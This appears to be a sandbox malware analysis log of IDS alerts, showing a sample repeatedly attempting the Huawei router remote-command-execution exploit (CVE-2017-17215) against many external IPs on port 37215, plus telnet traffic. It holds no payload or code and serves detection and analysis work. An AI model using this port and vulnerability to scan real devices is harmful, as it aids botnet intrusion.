    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52988 -> 156.241.91.134:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52988 -> 156.241.91.134:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56352 -> 156.253.42.173:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56352 -> 156.253.42.173:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50272 -> 156.230.17.47:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50272 -> 156.230.17.47:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33012 -> 156.241.108.178:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33012 -> 156.241.108.178:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50660 -> 156.253.46.149:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50660 -> 156.253.46.149:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40054 -> 156.241.71.217:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40054 -> 156.241.71.217:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34424 -> 156.241.127.165:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34424 -> 156.241.127.165:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50362 -> 156.241.124.61:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50362 -> 156.241.124.61:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40936 -> 197.246.207.171:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40936 -> 197.246.207.171:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34202 -> 156.241.104.197:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34202 -> 156.241.104.197:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39578 -> 156.247.31.76:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39578 -> 156.247.31.76:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41638 -> 156.241.86.247:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41638 -> 156.241.86.247:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40652 -> 156.254.102.141:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40652 -> 156.254.102.141:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:42778 -> 156.254.76.246:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:42778 -> 156.254.76.246:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56422 -> 41.232.236.175:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56422 -> 41.232.236.175:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33430 -> 156.235.109.224:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33430 -> 156.235.109.224:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33564 -> 41.35.51.247:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33564 -> 41.35.51.247:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41712 -> 41.44.221.200:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41712 -> 41.44.221.200:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34778 -> 156.254.69.95:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34778 -> 156.254.69.95:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57756 -> 156.77.135.225:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57756 -> 156.77.135.225:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51610 -> 156.224.12.69:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51610 -> 156.224.12.69:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57200 -> 156.241.9.40:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57200 -> 156.241.9.40:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38688 -> 156.241.13.219:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38688 -> 156.241.13.219:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:44146 -> 156.230.24.97:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:44146 -> 156.230.24.97:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:56026 -> 156.254.95.45:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:56026 -> 156.254.95.45:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41376 -> 156.241.100.110:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41376 -> 156.241.100.110:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33086 -> 156.247.25.212:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33086 -> 156.247.25.212:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:44962 -> 156.230.17.178:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:44962 -> 156.230.17.178:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:46494 -> 156.247.21.228:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:46494 -> 156.247.21.228:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50400 -> 156.241.118.53:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50400 -> 156.241.118.53:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:46484 -> 156.235.107.132:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:46484 -> 156.235.107.132:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57126 -> 156.47.1.211:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57126 -> 156.47.1.211:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57644 -> 156.241.121.95:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57644 -> 156.241.121.95:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35590 -> 156.230.27.73:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35590 -> 156.230.27.73:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:46588 -> 156.224.15.70:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:46588 -> 156.224.15.70:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45936 -> 156.254.91.232:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45936 -> 156.254.91.232:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49428 -> 41.21.176.195:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49428 -> 41.21.176.195:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:58756 -> 156.241.92.226:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:58756 -> 156.241.92.226:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59944 -> 156.254.102.151:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59944 -> 156.254.102.151:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:46586 -> 156.254.86.120:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:46586 -> 156.254.86.120:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35064 -> 156.241.94.154:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35064 -> 156.241.94.154:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:42328 -> 156.241.124.92:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:42328 -> 156.241.124.92:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49896 -> 156.235.104.254:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49896 -> 156.235.104.254:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:42706 -> 156.241.78.164:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:42706 -> 156.241.78.164:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50528 -> 156.241.112.38:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50528 -> 156.241.112.38:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:36062 -> 156.241.95.112:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:36062 -> 156.241.95.112:37215
    Source: TrafficSnort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55450 -> 156.254.87.143:37215
    Source: TrafficSnort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55450 -> 156.254.87.143:37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 54842 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36248
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36272
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36308
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36322
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36338
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36352
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36364
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36382
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36396
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 36436
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37002 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 52988 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 62714
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 32958
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37262
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37270
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37392
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37404
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37422
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37434
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37462
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37480
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37504
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 23 -> 37512
    Source: unknownNetwork traffic detected: HTTP traffic on port 33012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40420 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43826 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43648 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 58754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 59540
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49448 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41754 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41222 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40552 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40054 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56422 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 56422
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50272 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41126 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33564 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33564 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41712 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 33564
    Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 41712
    Source: unknownNetwork traffic detected: HTTP traffic on port 50362 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34202 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 50660 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41638 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57756 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34424 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39578 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34778 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56026 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56352 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40652 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51610 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44146 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57200 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41376 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38688 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33430 -> 37215
